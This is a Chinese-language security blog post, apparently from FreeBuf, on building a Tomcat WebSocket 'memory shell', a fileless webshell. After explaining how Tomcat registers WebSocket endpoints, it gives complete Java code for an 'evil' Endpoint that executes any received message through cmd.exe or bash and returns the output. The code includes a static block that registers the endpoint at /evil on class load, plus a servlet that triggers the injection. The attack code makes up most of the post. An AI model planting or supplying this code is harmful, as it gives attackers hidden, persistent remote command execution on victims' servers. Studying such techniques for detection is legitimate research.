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再探WebSocket内存马(内存马系列篇八)

RTC观主 • 来源：FreeBuf.COM • • 技术文章

通过前面对tomcat中的websocket的支持的解读，我们对websocket这个全双工协议有了更深的理解，接下来我们需要学习建立在其上的一种内存马, tomcat-websocket内存马的实现。

这也是内存马系列文章的第八篇了。

相关阅读《WebSocket内存马之tomcat-websocket源码实现》

前置

什么是tomcat Websocket？

相信只要跟过上一篇的源码，对这个流程并不陌生，这里也简单总结一下，

WebSocket是一种全双工通信协议，即客户端可以向服务端发送请求，服务端也可以主动向客户端推送数据。

建立通信的两端主要是Endpoint对象，

一个为ServerEndpoint一个为ClientEndpoint， 他们分别为服务端和客户端，

当客户端发起一个通信请求的时候，另一端在建立连接之后相应创建了一个ServerEndpoint对象，

因为都是Endpoint对象，我们可以看看Endpoint类，

image-20220927172338131.png

这是一个抽象类，存在三个方法onOpen / onClose / onError，分别是在通信建立 / 通信关闭 / 发生错误的是调用调用不同的逻辑。

Tomcat socket的简单案例

Tomcat中存在有两种方法进行实现：

  1. 使用@ServerEndpoint注解的方式；
  2. 继承抽象类Endpoint的方式。

我们使用注解的方式进行搭建。

官方文档
https://docs.oracle.com/javaee/7/api/javax/websocket/server/ServerEndpoint.html

package pres.test.momenshell;

import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;

@ServerEndpoint("/websocket")
public class WebsocketTest {
    private Session session;

    @OnOpen
    public void onOpen(Session session) {
        this.session = session;
        this.session.getAsyncRemote().sendText("onOpen......");
    }

    @OnMessage
    public void onMessage(String message) {
        this.session.getAsyncRemote().sendText("onMessage...." + message);
    }

    @OnClose
    public void onClose() {
        System.out.println("onClose.....");
    }

    @OnError
    public void onError(Throwable throwable) {
        throwable.printStackTrace();
    }
}
image-20220927174454903.png

在websocket连接成功之后，成功发送了onOpen....并且，在客户端可以成功发送消息。

image-20220927180207656.png

如上图，在断开本次链接之后将会在服务段打印onClose...标识，

同样也可以通过继承Endpoint的方式实现。

需要实现多个类：

  1. Endpoint实现类：主要实现3个标准生命周期方法（onOpen、onError、onClose），添加MessageHandler对象；
  2. MessageHandler实现类：实现onMessage方法；
  3. ServerApplicationConfig实现类：完成Endpoint的URI路径注册。
package pres.test.momenshell;

import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.IOException;

public class WebsocketTestPlus extends Endpoint {
    private Session session;

    @Override
    public void onOpen(Session session, EndpointConfig endpointConfig) {
        this.session = session;
        session.addMessageHandler(new MessageHandler.Whole<String>() {    //匿名类实现MessageHandler
            @Override
            public void onMessage(String message) {
                System.out.println("onMessage: "+message);
            }
        });
        System.out.println("已连接WebsocketServer: " + session.toString());
        try {
            session.getBasicRemote().sendText("a");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

package pres.test.momenshell;

import javax.websocket.Endpoint;
import javax.websocket.server.ServerApplicationConfig;
import javax.websocket.server.ServerEndpointConfig;
import java.util.HashSet;
import java.util.Set;

public class EndpointApplicationConfig implements ServerApplicationConfig {
    @Override
    public Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> set) {


        Set<ServerEndpointConfig> result = new HashSet<>();
        if (set.contains(WebsocketTestPlus.class)) {
            result.add(ServerEndpointConfig.Builder.create(WebsocketTestPlus.class, "/websocket2").build());
        }
        return result;
    }

    @Override
    public Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> set) {
        System.out.println(set);
        return set;
    }
}

同样在建立连接和发送消息的过程中有回显。

image-20220927185913979.png

流程分析

接下来我们简单分析一下过程，

在Tomcat启动的时候，将会对classpath下的jar进行扫描，扫描包中的META-INF/services/javax.servlet.ServletContainerInitializer文件。

对于websocket来说，其内容为org.apache.tomcat.websocket.server.WsSci

image-20220927191909271.png

所以将会加载该类，

image-20220927192025378.png

该类是ServletContainerInitializer的实现类，

首先调用init进行初始化操作WsServerContainer对象，

image-20220927192809009.png

创建了两个监听器，

其余多的上一篇中已经详细的解读了一遍代码，这里就简单说说就行了。

image-20220927193733442.png

最后将会将调用addEndpoint方法将通过ServerApplicationConfig对象获取的ServerEndpointConfig对象的集合添加到WsServerContainer中去。

image-20220927194012203.png

在取出了其中配置的路由之后生成了一个mapping映射。

image-20220927194223284.png

在这里完成了路由的注册，

值得我们注意的是在创建WsServerContainer对象的时候，在其构造方法中添加过滤器。

image-20220927194931319.png

在所有放回所有资源的同时会被其拦截，判断是否注册有该路由的Endpoint。

image-20220927195335162.png

通过调用findMapping方法获取对应的Endpoint，如果为空，就通过chain.doFilter将请求放回，如果存在这个Endpoint，就会进行协议升级。

正文

注入方式

从上面的简单流程分析中，我们知道，想要注册一个Endpoint需要通过调用WsServerContainer#addEndpoint方法进行添加，自然首要的目的是需要动态获取到WsServerContainer对象。

我们可以注意到，在前面调用init方法是的时候设置了一个属性，

image-20220927195826805.png

属性值就是为我们创建的WsServerContainer对象，所以我们只需要在线程中获取到servletContext这个上下文，就能够通过它的属性javax.websocket.server.ServerContainer来获取对应的WsServerContainer对象，进而能够添加恶意的Endpoint。

那么如果构造一个恶意的Endpoint呢?

我们只需要创建一个继承Endpoint的子类，并且需要实现MessageHandler接口，重写其中的onMessageonOpen等方法。

所以其注入流程就是：

  1. 实现Endpoint，MessageHandler.onMessage中实现命令执行的功能；
  2. 为Endpoint创建ServerEndpointConfig；
  3. 依次获取ServletConext和WsServerContainer；
  4. 通过WsServerContainer.addEndpoint添加ServerEndpointConfig。

实现内存马

我们首先编写恶意的Endpoint类

package pres.test.momenshell;

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;

public class evil extends Endpoint implements MessageHandler.Whole<String> {
    private Session session;

    public void onMessage(String message) {
        try {
            boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
            Process exec;
            if (iswin) {
                exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
            } else {
                exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
            }

            InputStream ips = exec.getInputStream();
            StringBuilder sb = new StringBuilder();

            int i;
            while((i = ips.read()) != -1) {
                sb.append((char)i);
            }

            ips.close();
            exec.waitFor();
            this.session.getBasicRemote().sendText(sb.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void onOpen(Session session, EndpointConfig config) {
        this.session = session;
        this.session.addMessageHandler(this);
    }
}

其中在onOpen方法中加入了MessageHandler对象，并且在其onMessage中实现了我们想要的命令执行的功能。

之后我们创建一个ServerEndpointConfig对象添加路由

ServerEndpointConfig build = ServerEndpointConfig.Builder.create(evil.class, "/evil").build();

再然后获取存放WsServerContainer对象的那个属性

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());

最后将恶意的Endpoint添加进入其中

attribute.addEndpoint(build);

实操

首先创建一个Servlet

package pres.test.momenshell;

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.IOException;
import java.io.InputStream;

public class AddWebSocket extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            Class.forName("pres.test.momenshell.evil");
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

配置好对应的mapping映射

编写好evil类

package pres.test.momenshell;

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;

public class evil extends Endpoint implements MessageHandler.Whole<String> {
    static {
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
        ServerEndpointConfig build = ServerEndpointConfig.Builder.create(evil.class, "/evil").build();
        WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
        try {
            attribute.addEndpoint(build);
        } catch (DeploymentException e) {
            throw new RuntimeException(e);
        }
    }

    private Session session;

    public void onMessage(String message) {
        try {
            boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
            Process exec;
            if (iswin) {
                exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
            } else {
                exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
            }

            InputStream ips = exec.getInputStream();
            StringBuilder sb = new StringBuilder();

            int i;
            while((i = ips.read()) != -1) {
                sb.append((char)i);
            }

            ips.close();
            exec.waitFor();
            this.session.getBasicRemote().sendText(sb.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void onOpen(Session session, EndpointConfig config) {
        this.session = session;
        this.session.addMessageHandler(this);
    }
}

上面的servlet主要是模拟反序列化等操作写入Websocket内存马

image-20220927224613971.png

能够成功执行ipconfig命令

总结

创建该内存马的流程：

  1. 获取当前的StandardContext；
  2. 通过StandardContext获取ServerContainer；
  3. 撰写一个恶意Endpoint类，并且实现了MessageHandler接口；
  4. 创建ServerEndpointConfig，给出对应的路由映射；
  5. 调用ServerContainer.addEndpoint方法，添加恶意类。

Ref

https://xz.aliyun.com/t/11566

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